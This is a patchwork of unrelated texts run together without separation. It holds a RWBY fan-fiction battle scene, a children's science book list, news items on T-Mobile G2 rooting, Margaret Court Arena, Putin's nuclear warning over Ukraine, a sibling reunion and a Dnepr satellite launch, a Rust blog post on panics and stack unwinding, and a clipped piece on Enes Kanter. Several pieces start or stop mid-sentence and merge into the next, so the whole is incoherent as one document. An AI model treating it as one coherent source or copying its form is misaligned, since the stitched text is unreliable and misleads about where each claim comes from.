quickly forgot about her injured feet and stood up straight. She needed to look strong for her team. They couldn't go into battle worrying about her when they had their own lives to look out for and the City of Vale handing over their heads. "I'm fine," Ruby said with authority and a hint of annoyance as she chambered her rifle again. She pulled the blade of the stone only to accidentally grind it against a metal pipe creating sparks. They continued to stare back at Ruby's determined face however as she had a grip on Crescent Rose so firm her knuckles turned white. Eventually they turned their heads to watch Yang instead. Ruby sighed at her small victory and once again embedded the blade into the rock. She took a seat on Crescent Rose finding it much easier to tighten her boots this way rather than bending over. When she smelled hair burning she looked up to see her sister on fire. "This should do it!" Yang roared as she readied her final punch. "Careful, miss Xiao Long," Oobleck urged. "We don't want the ceiling to coming crashing down on us...again." Blake turned her back to her team and shielded both sets of ears while the others covered the one. When Yang's fist connected with the stone it seemed as though the entire tunnel moved as everything exploded around them. Ruby pulled her hood up to protect her face while the others covered their mouths and noses with their sleeves. cough, cough cough, cough cough, cough cough, cough When the dust finally settled Yang removed her nearly brown goggles and pointed behind her. "Anyone else see a train?" With their coughing fits over the others peered around her and besides Ruby, were all awed by the old subway station the White Fang had expanded upon. It was enormous and could have fit an army... Two girls however were much more interested in the train that was steadily moving forward. The engine whistled causing Weiss to curse under her breath. "That's my train," she hissed, grabbing Myrtenaster. Blake's shadow shrank back but she already had her weapons out and was practically snarling. Yang however was still grinning from her hard work and her aura showed. Oobleck patted her on the shoulder. "Excellent work, miss Xiao Long. I always had faith that you wouldn't kill us." She blew the mane out of her eyes "Don't mention it..." She didn't sound entirely convinced he was being sincere, but before she could mutter a snide remark he took off running. "Hurry children!" "Stop them!" cried a familiar voice. Roman Torchwick stood atop the train pointing his cane in their direction. "You!" Blake roared. He waved his hat as a fireball flew towards them. Yang ran forward and swatted it out of the air with her crimson eyes seething. The masked men guarding the panel in the middle couldn't help but grin seeing what was coming towards them. Why should they worried? It was only four girls and a man resembling a stick figure with glasses. Bullets whizzed over the team's heads as they opened fire, and Weiss plunged her rapier into the ground instantly creating an ice barrier for protection. The team took cover and breathed deeply, counting over twenty men firing automatic rifles. Everyone naturally turned to the caped-girl whose mind began racing. "Freezerburn!" she shouted over the gunfire. Several ice glyphs appeared around Yang who smashed her fists together filling the circles with her aura, and when Weiss flicked her wrist half of the cavern was covered in a thick fog and the gunfire suddenly became more erratic. "I can't see!" several of the men cried. Ruby took a deep breath. "Ice Flower!" Crescent Rose peaked over the wall of ice just as light blue glyphs appeared around its barrel. Ruby fired and it was as if a blizzard blew through the subway as the mist and ice shells combined with Yang's aura. "What's going on?" s man cried as he tried to lift his feet but couldn't. "Sssoo...cccolldd," another stuttered. "Ladybug!" The White Fang tried to blind fire into the fog but many of their weapons simply clicked and refused to fire. Those who did have working weapons were quickly taken out by Blake's katana or cleaver leaving the unarmed for Ruby. "Clear!" she shouted as the last man fell. "I'm clear," Ruby reported out of breath. The ice barrier dissipated and the others joined them. 'Thank you,' Yang mouthed to her partner for taking care of the armed men. Without much of an aura shield a stray bullet would likely kill her sister. 'Don't mention it,' Blake mouthed back. "Good work, sis," Yang complimented as she ran to her and patted her shoulder. Ruby shrugged at her sister's compliment. "ARK 34 rifles' dust chambers jam easily when exposed to too much moisture and cold. That's why Atlas discontinued them." "And probably why the White Fang were able to get a hold of them so easily," Blake remarked. "Yeah, but no one's colder than the Ice Queen." Yang snorted which earned her an icy glare but also a thin smile from the heiress. "I'm sorry I ever called your unhealthy obsession with guns crazy, Ruby." Weiss quickly reloaded another light blue dust crystal into Myrtenaster and spun the cylinder. "Enough with the lesson class," Oobleck said rather ironically. "The train is leaving." Without a word the team raced for the train which was picking up speed down the dark tunnel. Another barrage of bullets rained down from atop the cars as the mist faded. Dozens of men in Grimm masks poked their rifles out and the girls ran for cover with Weiss keeping an ice glyph at the ready. "The back!" Ruby cried as she fired her rifle for extra speed. Bullets danced around her but the White Fang couldn't track her erratic movements. She hopped on the steps of the first train car and Blake and Oobleck arriving a second later to help with the heavy door. "Hurry!" she cried to her slower teammates. Yang discharged her gauntlets just as Weiss used a propulsion glyph, and landed on top of each other in the car just as they reached the tunnel. Oobleck slammed the door shut and Ruby turned on her weapon's flashlight. "Ummph! Get off me, Yang!" Weiss cried from underneath the blonde. Yang blinked her red eyes seeing something familiar on the floor. "Are those your shoes, Ruby?" she asked bewildered as she pushed herself off the flattened girl. Her sister looked down in the far corner and realized this was where she'd been tied up. "Yeah," she said not wanting to dwell on the dark room too much. She moved the light when she saw the scarlet drops on the ground. "How are we going to stop the train?" Weiss asked standing back up. "It's like a firing squad up there." Ruby bit her lip trying to come up with a solution. They were pinned down with nowhere to go but forward towards the White Fang who had both cover and an army. "Um, guys?" Blake said pointing to their left. "What's that?" Ruby shined her flashlight in the opposite corner from where she had been lying and saw a strange box with red and yellow wires connecting it to dust crystals. In the dark she hadn't recognized it, but now her eyes widened as she realized what Torchwick had been meaning by fireworks. "Oh no…" She covered her mouth. The team glanced over to her as Oobleck stooped down to inspect the package. He ran his hand across the box and paused. "It's a bomb..." The air was sucked out of the moving car and reflexively everyone held their breaths afraid it might go off. "You can't be serious!" Blake cried. "The White Fang aren't capable of something like this!" But even as she spoke she knew it was true. They had always been capable of this. She just never wanted to admit it. "I'm afraid they are." Oobleck frowned. "We're heading north to the City of Vale, and we'll be there soon." "Then what are we waiting for?" Yang said as her hair caught fire again. "Let's kick butt!" "Um, sis?" Ruby pointed above them. "Machine guns, remember?" "We'll just have to take them out." "Umm, why is the bomb ticking?" Weiss asked, silencing the room. No one moved. "CHILDREN! MOVE TO THE NEXT CAR!" Oobleck ordered. Without a word the team opened the top hatch with Weiss taking point. She created another ice shield but moving was slow against so much gunfire which had resumed. Just when their feet touched the next train car they heard something break behind them. The train car had separated just as Ruby was about disconnect the cars with her scythe. "Well isn't that peculiar?" Oobleck noted as the train car fell back a ways. "I wonder why-" BOOOOOOMMM! Everyone shielded their eyes from the explosion that rang their ears and took their breath away. Even the machine gun fire halted as the White Fang marveled from the other side of the train, and a few like Blake grabbed their ears in pain grimacing from the loud noise. Suddenly, a cavern opened up above their heads and the team could see red eyes peering down. "Creeps," Oobleck muttered. "You can say that again," Yang said, disgusted as two legged creatures fell to the train tracks. "No, it's called a Creep." The professor shook his head. "You four really must pay better attention in Professor Port's ecology class..." "Well what are they?" "They're Grimm with strong reptilian bodies that creep in the darkness. When the tunnel was built the huntsmen had to go and clear all of the surrounding caves and caverns. It would seem the shadows have bred more of them since sealing them off." Oobleck paused. "And we're leading them straight to the City of Vale..." RRRRRPPPTTTTAA! "Hey guys?" Weiss cried as she fell to her knees. "They're shooting again!" The ice shield was taking a beating and she couldn't hold it much longer. "Of course!" Oobleck nodded. "Miss Belladonna, miss Xiao Long, and miss Schnee, you three go through the train cars below and get to the engine room and stop Torchwick." "What about you two?" Yang asked, looking at her sister. "Miss Rose and I will take care of the situation up here with the White Fang and slow down the Grimm as much as possible." "No," she argued which took the professor aback. "We stick together." "Miss Xiao Long that-" "I'm not leaving Ruby again!" Her sister smiled and laid a hand atop Yang's arm. "Go," she said gently. "I'd only slow you three down right now." Yang opened her mouth but Ruby threw her arms around her. "I'll be fine, sis. I promise." Yang pulled her in tight and her eyes returned to lilac. "Don't do anything stupid," she whispered, "and come back safe." "I will. You do the same." "Never." Yang let go and cracked her knuckles while her younger sister grinned and chambered Crescent Rose. "Can't... Keep... This up!" Weiss gasped. "You three get going," Oobleck commanded. "We'll handle things out here. Good luck to you." Weiss nearly screamed as Yang and Blake yanked her down below by the shoulders into the train car below. This left Ruby and Oobleck in the line of gun fire with a bomb under their feet and an army of Grimm following. The pair moved up as the shield fell and took refuge behind the next train car, and Ruby flinched as her sister punched her way through the metal car before punching through the next. She winked with Blake following with Weiss right behind. 'They'll stop Torchwick,' Ruby told herself. 'They're the best huntresses in the world...' She heard the unmistakable sound of a weapon transforming and turned to see the professor holding his thermos which now sported a hand grip and trigger. He turned the bottom as if it were a dial and a red glyph appeared spewing fire. "You'll have to take care of the White Fang, miss Rose. I'm afraid I won't be of much help." "Why not?" "They'd die painfully," he said matter of factly. He pointed his thermos to the hordes of Grimm and the most magnificent golden flame Ruby had ever seen shot from the thermos like a cannon completely disintegrating several. She had to shake her head to stop staring. Her silver eyes had gotten lost like a moth to a flame, and so she climbed the ladder and took a deep breath. While Oobleck stood on the back of the car with its railing firing, Ruby poked her rifle over the roof as bullets flew over her head whipping her hair around. She changed to a non-lethal yellow ammo clip and chambered a round. These explosives would kill smaller Grimm but the dust wouldn't cause too much permanent damage to a human, but just because they were non-lethal didn't mean they didn't hurt. She pulled the trigger and her first target fell inside the train car likely with a separated shoulder, and pulled her hood up as another fireball exploded behind her. The caped-girl put her next target in the cross hairs and just like before when she pulled the trigger the man fell...and he fell...and he fell... He never stopped falling until he hit the ground beside the moving train. Ruby's eyes went wide and her body froze. "NO!" she screamed. The body rolled to stop in an awkward position in the dirt, and she climbed down reaching out as the train car was about to pass him. "Grab my hand! Please!" she begged with her hand out. Before Ruby could jump off the train Oobleck grabbed her around the waist. "There's nothing you can do," he said calmly. "Worry about yourself and the mission." Tears ran down her face as the man disappeared underneath the claws of Grimm. She had seen what they did to people up first hand, and now she had doomed a man to the same fate as her nightmares. Her body began shaking and she felt as though she'd vomit. Oobleck lowered his voice. "I understand what happened to you as a child, Ruby, and I'm terribly sorry, but you have to do this." She head shook violently. "These men are trying to kill you and the City of Vale!" he urged. "I don't care!" Ruby screamed. "They're still people!" She pushed the professor to the side and jumped atop the guard rail. She released her weapon's scythe and quickly reloaded to a stronger ammo clip. "No!" he cried, reaching for her cape and catching only a handful of rose petals. With her semblance activated Ruby soared over the heads of unsuspecting Grimm looking for the masked man before she disappeared in the horde swinging her blade. "Ruby!" The professor pointed his weapon at the mass of Grimm but knew it was pointless. If she wasn't already dead his flames would burn her to a crisp before she had time to realize she was on fire. When he could no longer hear the sounds of her rifle or see rose petals he hung his head and slammed his fist against the rail in rage. He waited but nothing happened, and grimaced as he pointed his thermos at the Grimm cursing them all. Just before he could pull the trigger however a streak of red shot out of the darkness. "Ruby!" The caped-girl half-carried, half-dragged a lifeless body in one arm while she fired Crescent Rose repeatedly to gain speed, leaving a cloud of roses in her wake. With her hood pulled tight all Oobleck could see of her face were her determined silver eyes. She wasn't fast enough though. She was barely outrunning the Grimm who were nipping at her heels. Their teeth just barely grazing their legs. Oobleck marveled for a moment before turning the dial on his thermos which began to glow gold, and hesitated knowing what was about to happen. "Here's to the last rose of Summer," he toasted. As the liquid washed down his throat Oobleck could feel his mind racing and his body beginning to shake with power. The haste glyph within him turned his entire body gold, and behind his glasses his eyes illuminated the darkness. Ruby was blinded as a bright light headed towards her, and she instantly thought of her sister's gold aura and her heart leaped out of her chest. The gold light rushed to her side and she closed her eyes fearing they'd burn right out of her head just from staring at its brilliance. A weight was lifted from her shoulder and she opened her eyes afraid the man had fallen into the jaws of the Creeps. Instead however, the light was carrying him. "Oobleck!" "That's Doctor Ooble
nine-year-olds. Bringing UFOs Down to Earth. Philip J. Klass. Amherst, NY: Prometheus Books, 1997. This book is meant for ages nine to twelve. It describes what Klass looked for when investigating UFO claims and gives a history of some well-known alleged UFO sightings. Flat Earth? Round Earth? Flat Earth? Round Earth? Theresa Martin. Amherst, NY: Prometheus Books, 2002. This work is best for children ages four to eight. A student steadfastly refuses to believe the Earth is round and is given examples why it is so. The theme here is to think on your own and to question common knowledge or belief. The Evolution Book. Sara Stein. New York: Workman Publishing, 1999. Stein gives a scientific overview of life on Earth using biology and natural history. Suggested for ages ten to fourteen; based on some of the activities used to help illustrate the concepts, you might want to be at the older end of the range. How Come? Every Kid’s Science Questions Explained. Kathy Wollard and Debra Solomon (Illustrator). New York: Workman Publishing, 1993. This work is recommended for young adults and is a compilation of columns from the “How Come?” series that appears in Newsday and the Los Angeles Times. It covers many questions, including the favorite of parents and children everywhere: “Why is the sky blue?” I also recommend their other books (like How Come? Planet Earth ). Science in a Nanosecond: Illustrated Answers to 100 Basic Science Questions. Nibbling on Einstein’s Brain: The Good, the Bad and the Bogus in Science. Diane Swanson and Francis Blake (Illustrator). Toronto, ON: Annick Press, 2009. This is an updated work for nine- to twelve-year-olds. It’s an excellent book about critically examining claims that illuminates the differences between good and bad science. Science in a Nanosecond: Illustrated Answers to 100 Basic Science Questions. James A. Haught. Amherst, NY:Prometheus Books, 1991. Best for young adults, this book gives basic science answers similar to the How Come? books mentioned above. The Little Book of Big Questions. Jackie French and Martha Newbigging (Illustrator). Toronto, ON: Annick Press, 2000. This book is suited for ages nine to twelve and covers a wide range of areas, including morality and life and death, as well as topics like extraterrestrials.Earlier this week, we reported that T-Mobile and HTC shipped the new G2 with fail-safe that prevents users from obtaining permanent root. Though it’s possible to root the device temporarily, all changes made are promptly erased when the user reboots the device. While not as frustrating as the similar anti-root efforts perpetrated by the Motorola Droid X, people interested in the G2 have been disappointed. T-Mobile has responded to the controversy by issuing a statement explaining why the carrier and HTC have opted to include components that block root. A spokesperson sent us this message in response to our previous article: As pioneers in Android-powered mobile devices, T-Mobile and HTC strive to support innovation. The T-Mobile G2 is a powerful and highly customizable Android-powered smartphone, which customers can personalize and make their own, from the look of their home screen to adding their favorite applications and more. The HTC software implementation on the G2 stores some components in read-only memory as a security measure to prevent key operating system software from becoming corrupted and rendering the device inoperable. There is a small subset of highly technical users who may want to modify and re-engineer their devices at the code level, known as “rooting,” but a side effect of HTC’s security measure is that these modifications are temporary and cannot be saved to permanent memory. As a result the original code is restored. Are you satisfied with this response? Though security is often a fail-safe response for why companies get in the way of user customization, it’s still disappointing that T-Mobile and HTC would make the phone less hacker-friendly. The beauty of owning HTC devices, aside from the popular Sense UI, is that the hardware was friendly to tinkering. One can only hope that this is not the first of a budding trend from the Taiwanese manufacturer.The men’s world No1, Andy Murray, fears tennis players trying to boycott Margaret Court Arena at the Australian Open would cause scheduling chaos and wants the issue brought to a head sooner rather than later. Former player Margaret Court’s public opposition to same-sex marriage has sparked furious debate around whether the show court named in her honour at Melbourne Park should be changed. French Open bans Maxime Hamou for groping reporter on live TV Read more Murray, a long-time member and former president of the ATP players’ council – in addition to his standing as world No1 – has no doubts Court’s vocal stance is creating locker-room angst. Placing Tennis Australia under huge pressure to react – after Stosur on Monday suggested players may request not to appear on Margaret Court Arena in January – Murray said a meeting between the game’s grand slam competitors was needed to ascertain the general consensus. “If something was to be done, I think it would be a lot more beneficial to do it before the tournament starts,” Murray said. “For players to be in a position where you’re in a slam and kind of boycotting playing on the court, I think would potentially cause a lot of issues. Facebook Twitter Pinterest Margaret Court has sparked furious debate around whether the court named after her at Melbourne Park should be changed. Photograph: Ryan Pierse/AAP “So I think if something was going to be happening and the players come to an agreement, if they think the name should be changed or whatever, that should be decided before the event – before the event starts. But I would imagine a lot of the players would be pretty offended by that. So, we’ll see what happens.” Stosur says tennis players could boycott Margaret Court Arena over gay marriage comments Read more While gay Dutch professional Richel Hogenkamp is the only elite player on record as saying there should be a name change, Australia’s stars competing at the French Open in Paris are strongly united in disagreeing with Court’s views. From grand slam champion Samantha Stosur to teenage qualifier Jaimee Fourlis, the Australians have deferred any decision about a possible name change to higher authorities, saying Court, like anyone, is entitled to her opinion. But they stand united in opposing Court’s stance. “I have no problem with gay marriage at all. I mean, that’s where I stand,” Australia’s men’s No1 Nick Kyrgios said on Tuesday. Stosur, Fourlis, Ashleigh Barty, her doubles partner Casey Dellacqua – who has two children in an openly gay relationship – and fellow men’s players John Millman and Thanasi Kokkinakis share Kyrgios’s view. “I don’t agree with what Margaret said at all. But everyone is entitled to their opinion,” Kokkinakis said. “I know a lot of people that I’m friends with are gay.”Vladimir Putin raised the spectre of nuclear war with the West on Friday as he defied international condemnation over his decision to send thousands of Russian troops and heavy armour into Ukraine. Accused by Europe and Nato of launching a full-scale invasion of eastern Ukraine, the Russian leader boasted to a group of Russian youngsters that "It's best not to mess with us." In language not seen since the height of the Cold War, he told his audience: "Thank God, I think no one is thinking of unleashing a large-scale conflict with Russia. I want to remind you that Russia is one of the leading nuclear powers." Mr Putin's comments, made during a visit to a pro-Kremlin youth camp on the banks of a lake outside Moscow, will horrify Western governments as they try to bring Russia into check. Even during the height of Cold War hostilities, few Kremlin leaders ever resorted to the direct mentions of Russia's nuclear arsenal. He made his remarks as European leaders prepare to gather tomorrow for an emergency summit to discuss further sanctions on Moscow over the appearance in the last few days of more than 1,000 regular Russian troops in eastern Ukraine. The soldiers are believed to be the backbone of a lightning counter-offensive that has seen pro-Kremlin rebels in eastern Ukraine claw back large swathes of territory from Ukrainian government forces in recent days, dramatically turning the tide in the four-month conflict. A major battle is expected in the port city of Mariupol in coming days, where Ukrainian forces are dug in in anticipation of a full-scale assault by rebels backed by the Kremlin's forces. The escalation in the conflict is the most serious since the pro-Russian uprising began, and has dashed Western hopes that the sanctions on the Kremlin had forced it to gradually abandon its support for the rebels. On Friday, Poland accused Russia of waging a full-scale "war" in eastern Ukraine, while Germany warned that the conflict was spiralling "out of control". Speaking after a special emergency summit to discuss the crisis, Anders Fogh Rasmussen, the Nato secretary general, said Russia could no longer pretend that it did not have "direct" involvement in the conflict. "Despite Moscow’s hollow denials, it is now clear that Russian troops and equipment have illegally crossed the border into eastern and south-eastern Ukraine..." he said. "Russian forces are engaged in direct military operations inside Ukraine. Russia continues to supply the separatists with tanks, armoured vehicles, artillery and rocket launchers. Russia has fired on Ukraine from both Russian territory and within Ukraine itself. Moreover, Russia continues to maintain thousands of combat-ready troops close to Ukraine’s borders. This is a blatant violation of Ukraine’s sovereignty and territorial integrity." At a Nato summit in the Welsh city of Newport next week, Nato leaders will meet Petro Poroshenko, Ukraine's new president, to make clear what Mr Rasmussen described as their "unwavering support" for Ukraine. Diplomatic sources have told the Daily Telegraph that Ukraine will ask for a package of "non-lethal" aid including thousands of set of new uniforms, helmets, body armour and communications gear. Ukrainian defence chiefs also want access to sophisticated US and Nato satellite images of Russian troop positions. However, despite However, while Ukraine's prime minister, Arseny Yatseniuk said on Friday that Ukraine would now seek to join Nato, sources within the organisation said that it would be unlikely happen. Any such move would oblige Nato to come to Ukraine's immediate defence against Russia. A Nato source said: "Ukraine is not an ally. Nato may respect Ukraine's decision if it seeks membership but the Alliance is not going to accelerate in that direction." In his comments to the youth group in Friday, Mr Putin defended Russia's takeover of Ukraine's Crimean peninsula last March, claiming it was essential to save a largely Russian-speaking population from Ukrainian government aggression. "Russia is far from being involved in any large-scale conflicts," he said at the camp on the banks of Lake Seliger. "We don't want that and don't plan on it. But naturally, we should always be ready to repel any aggression towards Russia. He also alleged that Russians in eastern Ukraine were now subjected to "crude military force" from government planes, tanks and artillery, and criticised the Kiev government's decision to seek European Union membership. "If those are contemporary European values, then I'm simply disappointed in the highest degree," he said, comparing Ukraine's military operations in the east of the country with the Nazi siege of Leningrad in World War Two. "Small villages and large cities surrounded by the Ukrainian army which is directly hitting residential areas with the aim of destroying the infrastructure... It sadly reminds me of the events of the Second World War, when German fascist... occupiers surrounded our cities."Don't Panic! The Hitchhiker's Guide to Unwinding Rust has an awesome developer community but sometimes emotions can cloud the discussions that are taking place. One of the more interesting discussions (or should I say flamewars) evolve around the concept of stack unwinding in Rust. I consider myself very strongly on one side of this topic but I have not been aware of how hot this topic is until I accidentally tweeted by preference. Since then I spent a bit of time reading up no the issue and figured I might write about it since it is quite an interesting topic and has huge implications on how the language works. What is this About? As I wrote last time, there are two different error handling models in Rust these days. In this blog post I will call them result carriers and panics. A result carrier is a type that can carry either a success value or a failure value. In Rust there are currently two very strong ones and a weak one: the strong ones are Result<T, E> which carries a T result value or an E error value and the Option<T> value which either carries a T result value or None which indicates that no value exists. By convention there is also a weak one which is bool which generally indicates success by signalling true and failure by signalling false. There is a proposal to actually formalize the carrier concept by introducing a Carrier trait that can (within reason) convert between any of those types which would aid composability. The second way to indicate failure is a panic. Unlike value carriers which are passed through the stack explicitly in the form of return values, panics fly through the stack until they arrive at the frame of the task in which case they will terminate it. Panics are for all intents and purposes task failures. The way this works is by unwinding the stack slice by slice, invoking cleanup code at each level and finally terminate the task. Panics are intended for situations where the runtime runs out of choices about how to deal with this failure. Why the Panic? Currently there is definitely a case where there are too many calls in Rust that will just panic. For me one of the prime examples of something that panics in a not very nice way is the default print function. In fact, your rust Hello World example can panic if invoked the wrong way: $./hello Hello World! $./hello 1< /dev/null task '<main>' panicked at 'failed printing to stdout: Bad file descriptor' The "task panicked" message is a task responding to a panic. It immediately stops doing what it does and prints an error message to stderr. It's a very prevalent problem unfortunately with the APIs currently as people do not want to deal with explicit error handling through value carriers and as such use the APIs that just fail the task (like println ). That all the tutorials in Rust also go down this road because it's easier to read is not exactly helping. One of my favorite examples is that the rustc compiler's pretty printing will cause an internal compiler error when piped into less and less is closed with the q key because the pipe is shutting down: $ rustc a-long-example.rs --pretty=expanded\|less error: internal compiler error: unexpected failure note: the compiler hit an unexpected failure path. this is a bug. note: we would appreciate a bug report: http://doc.rust-lang.org/complement-bugreport.html note: run with `RUST_BACKTRACE=1` for a backtrace task '<main>' panicked at 'failed printing to stdout: broken pipe (Broken pipe)' The answer to why the panic is that computers are hard and many things can fail. In C for instance printf returns an integer which can indicate if the command failed. Did you ever check it? In Rust the policy is to not let failure go through silently and because nobody feels like handling failures of every single print statement, that panicking behavior is in place for many common APIs. But let's assume those APIs would not panic but require explicit error handling, why do we even need panics? Primarily the problem comes up in situations where a programming error happened that could not have been detected at compile time or the environment in which the application is executing is not providing the assumptions the application makes. Some good examples for the former are out of bound access in arrays and an example for the latter are out of memory errors. Rust has safe and unsafe access to array members but the vast majority of array access goes through the unsafe access. Unsafe in this case does not mean that you get garbage back, but it means that the runtime will panic and terminate the task. Everything is still safe and everything but you just killed your thread of execution. For memory errors and things of that nature it's more tricky. malloc in C returns you a null pointer when it fails to allocate. It looks a bit obvious that if you just inherit this behavior you don't need to panic. What that would allow you to do is to run a bit longer after you ran out of memory but there is very little you can actually do from this point onwards. The reason for this is that you just ran out of memory and you are at risk that any further thing you are going to do in order to recover from it, is going to run into the same issue. This is especially a problem if your error representation in itself requires memory. This is hardly a problem that is unique to Rust. Python for instance when it boots up needs to preallocate a MemoryError so that if it ever runs out of memory has an error it can use to indicate the failure as it might be impossible at that point to actually allocate enough memory to represent the out of memory failure. You would be limited to only calling things that do not allocate anything which might be close to impossible to do. For instance there is no guarantee that just printing a message to stdout does not require an internal allocation. What's Unwinding? Stack unwinding is what makes panics in Rust work. To understand how it works you need to understand that Rust sticks very close to the metal and as such stack unwinding requires an agreed upon protocol to work. When you raise an exception you need to immediately bubble up stack frame by stack frame until you hit your exception handler. In case of Rust you will hit the code that shuts down the task as you cannot setup handlers yourself. However as you blaze through the stack frames, Rust needs to execute all necessary cleanup code on each level so that no memory or resources leak. This unwinding protocol is highly related to the calling conventions and not at all standardized. One of the big problems with stack unwinding is that it's not exactly an operation that comes natural to program execution, at least not on modern processors. When you want to fly through some stack frames you need to figure out what was the previous stack frame. On AMD64 for instance there is no guaranteed way to get a stacktrace at all without implementing DWARF. However stack unwinding does have the assumed benefit that because you are generally not going down the error path, there are less branches to take when a function returns as the calling frame does not have to check for an error result. If an error does occur, stack unwinding automatically jumps to the error branch and otherwise it's not considered. What's the Problem with Unwinding? Traditionally I think there are two problems with stack unwinding. The first one is that unlike function calling conventions, stack unwinding is not particularly standardized. This is especially a problem if you try to combine functions from different programing languages together. The most portable ABI is the C ABI and that one does not know anything about stack unwinding. There is some standardization on some operating systems but even then it does not guarantee that it will be used. For instance on Windows there is Structured Exception Handling (SEH) which however is not used by LLVM currently and as such not by Rust. If the stack unwinding is not standardized between different languages it automatically limits the usefulness. For instance if you want to use a C++ library from another programming language, your best bet is actually to expose a C interface for it. This also means that any function you invoke through the C wrapper needs to catch down all exceptions and report them through an alternative mechanism out, making it more complicated for everybody. This even causes quite a bit of pain in the absence of actually going through a programming language boundary. If you ever used the PPL libraries (a framework for asynchronous task handling and parallelism) on Windows you might have seen how it internally catches down exceptions and reconstructs them in other places to make them travel between threads safely. The second problem with stack unwinding is that it's really complex. In order to unwind a stack you need to figure out what your parent frame actually is. This is not necessarily a simple thing to do. On AMD64 for instance there is not enough information available on the stack to find higher stack frames so your only option is to implement the very complex DWARF spec or change the calling conventions so that you do have enough meta information on the stack. This might be simple for a project that has full control of all dependencies, but the moment you call into a library you did not compile, this no longer works. It's no surprise that stack unwinding traditionally is one of the worse supported features in programming languages. It's not unheard of that a compiler does not implement exceptions for C++ and the reason for this is that stack unwinding is a complex thing. Even if they do implement it, very often exceptions are just made to work but not made to be fast. Exceptions in a Systems Language You don't have to be a kernel developer to not be a fan of stack unwinding. Any person that wants to develop a shared library that is used by other people will sooner or later have to think about how to prevent things from throwing exceptions. In C++ it's not hard to actually wrap all exported functions in huge try / catch blocks that will just catch down everything and report a failure code out, but in Rust it's currently actually a bit more complex. The reason for this is that in Rust you cannot actually handle exceptions. When a function panics it terminates the task. This implies that there needs to be task in the first place that can isolate the exception or you cause issues for your users. Because tasks furthermore are actually threads the cost of encapsulating every function call in a thread does not sound very appealing. Today you already are in the situation in Rust that if you write a library that wants to export a C ABI and is used by other people you can already not call into functions that panic unless you are in the situation where your system is generally running a thread and you dispatch messages into it. Panicking Less and Disabling Unwinding I wish I personally have for the language is that you can write code that is guaranteed to not panic unless it really ends up in a situation where it has no other choice. The biggest areas of concern there are traditionally memory allocations. However in the vast majority of situations failure from memory allocation is actually not something you need to be concerned with. Modern operating systems make it quite hard to end up in a situation where an allocation fails. There is virtual memory management and swapping and OOM killers. An malloc that returns null in a real world situation, other than by passing an unrealistically large size, is quite uncommon. And on embedded systems or similar situations you usually already keep an eye on if you are within your budget and you just avoid ever hitting the limit. This allocation problem is also a lot smaller if you are you a specialized context where you just avoid generic containers that allocate memory on regular operations. Once panics are unlikely to happen, it's an option to disable the support for unwinding and to just abort the application if a panic ever happens. While this sounds pretty terrible, this is actually the right thing to do for a wide range of environments. The best way to isolate failures is on the operating system level through separate processes. This sounds worse than it actually is for two reasons: the first is that the operating system provides good support for shipping data between processes. Especially for server applications the ability to have a watchdog processes that runs very little critical code, opens sockets and passes the file descriptors into worker processes is a very convincing concept. If you do end up crashing the worker no request is lost other than the currently handled one if it's single threaded. And if it's multi threaded you might kill a few more requests but new, incoming requests are completely oblivious that a failure happened as they will queue up in the socket held by the watchdog. This is something that systemd and launchd for instance provide out of the box. In Rust especially a process boundary is a lot less scary than in other programming languages because the language design strongly discourages global state and encourages message passing.A brother and sister were reunited after 65 years apart, thanks to the online sleuthing of a 7-year-old boy. For Betty Billadeau and her brother, Clifford Boyson, the reunion was a lifetime in the making after they were sent to separate foster homes around the time Betty was 5 years old and Clifford was 3. Despite decades of searching for each other, it took the online detective work of a 7-year-old boy to bring the long lost siblings together. "Nobody would help me until I came and met little Eddie," Boyson said, referring to his landlord's son, Eddie Hanzelin. (Image Credit: ABC News) The 7-year-old said he was touched by his neighbor's story and wanted to help him. "Family is important," Eddie said. Using his mother's Facebook account, Eddie got to work. "I went on Facebook and I typed in Boyson," he said. "There were a whole bunch of pictures that showed up. One of them kind of looked like Clifford and I zoomed in on it and it started to really look like Clifford, [so] I showed it to my mom and dad." Eddie's father, Glenn Hanzelin, contacted Billadeau's daughter over Facebook to help arrange the reunion. (Image Credit: ABC News) On Saturday, the two siblings embraced for the first time in 65 years at a hotel near Boyson's home in Davenport, Iowa. "You're about the same height mom was!" Boyson said when he saw his sister, who traveled from Missouri with her daughter and granddaughter for the reunion. He presented her with pink roses. The three generations of Billadeau women gave him a suitcase so he would have "no excuses" for not visiting them in Missouri. "The one thing he said is he has someone to send a Christmas card to now," Billadeau said. The two siblings plan to get together in Missouri soon to make up for all of those missing years. And after that, 7-year-old Eddie has another hope for his good friend Clifford. "He's never been on vacation, " he said. "And I want him to go on vacation to Disney World with me."Russian satellites to be launched into space on board Satan Space company Kosmotras and Russian startups Yaliny signed an agreement to launch satellites on board "Dnepr" conversion rocket that is known as "Satan" under NATO classification, Pravda.Ru reports with reference to TASS. Source: Wikipedia Yaliny plans to build a group of satellites in orbit to provide global access to the Internet. The satellites are said to provide a relatively inexpensive access to the Internet, as well as voice transmission services. Also read: Russia to pass into service 100-ton Sarmat ballistic missile The presentation of the project said that the launches would be conducted in clusters - several spacecraft per one launch. The group that is said to be ready by 2020 will consist of 144 satellites in low Earth orbit (600 kilometers). In addition, up to 40 ground-based stations will be built. The total cost of the project is said to reach $1.5 billion. The Dnepr is a three-stage liquid-fuel rocket. The launch vehicle has only a small number of modifications compared to the R-36M ICBM in service. Pravda.Ru Read article on the Russian version of Pravda.RuLOS ANGELES, CA - MARCH 01: Enes Kanter #34 of the Oklahoma City Thunder throws a pass around Jordan Hill #27 f the Los Angeles Lakers at Staples Center on March 1, 2015 in Los Angeles, California. NOTE TO USER: User expressly acknowledges and agrees that, by downloading and or using this photograph, User is consenting to the terms and conditions of the Getty Images License Agreement. (Photo by Stephen Dunn/Getty Images) The NBA is now firmly in its offseason, but the break will be relatively short for many of Europe's top basketball players. EuroBasket 2015, the continent's premier basketball tournament, tips off in early September in four cities (Berlin, Zagreb, Riga, and Montpelier) with the final scheduled for September 20 in Lille, France. Some big names always sit out, but the tournament is sure to showcase plenty of NBA stars and foreign players of interest. [Follow Dunks Don't Lie on Tumblr: The best slams from all of basketball] Scroll to continue with content Ad One name will be notably absent from Turkey's roster — restricted free agent Enes Kanter, the 23-year-old big man most recently of the Oklahoma City Thunder. Kanter ranks as one of the nation's most talented players and figured to contribute as a post scorer, but he was not named to coach Ergin Ataman's preliminary 20-man roster. Why would they make such a move? According to Kanter, it's because of his political beliefs. From Hurriyet Daily News: National team coach Ergin Ataman said Kanter was left out of the 20-man initial squad because “he did not apologize” for incidents in the past, while the 23-year-old player, an open supporter of U.S.-based Islamic scholar Fethullah Gülen, claimed the decision was based on his political views. “I wish that the decision and statement on this subject had been a professional one that suited 